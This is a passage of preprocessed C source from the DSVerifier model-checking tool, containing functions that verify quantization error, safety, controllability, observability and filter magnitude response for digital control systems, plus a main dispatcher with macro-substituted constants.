fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (7 == 3)
{
call_verification_task(&verify_overflow);
}
else if (7 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (7 == 6)
{
call_verification_task(&verify_error);
}
else if (7 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (7 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (7 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (7 == 7)
{
call_verification_task(&verify_stability);
}
else if (7 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (7 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (7 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (7 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (7 == 12)
{
verify_error_state_space();
}
else if (7 == 16)
{
verify_safety_state_space();
}
else if (7 == 13)
{
verify_controllability();
}
else if (7 == 14)
{
verify_observability();
}
else if (7 == 15)
{
verify_limit_cycle_state_space();
}
else if (7 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (7 == 12 || 7 == 16 ||
7 == 15 || 7 == 13 ||
7 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((7 != 9) && (7 != 10) &&
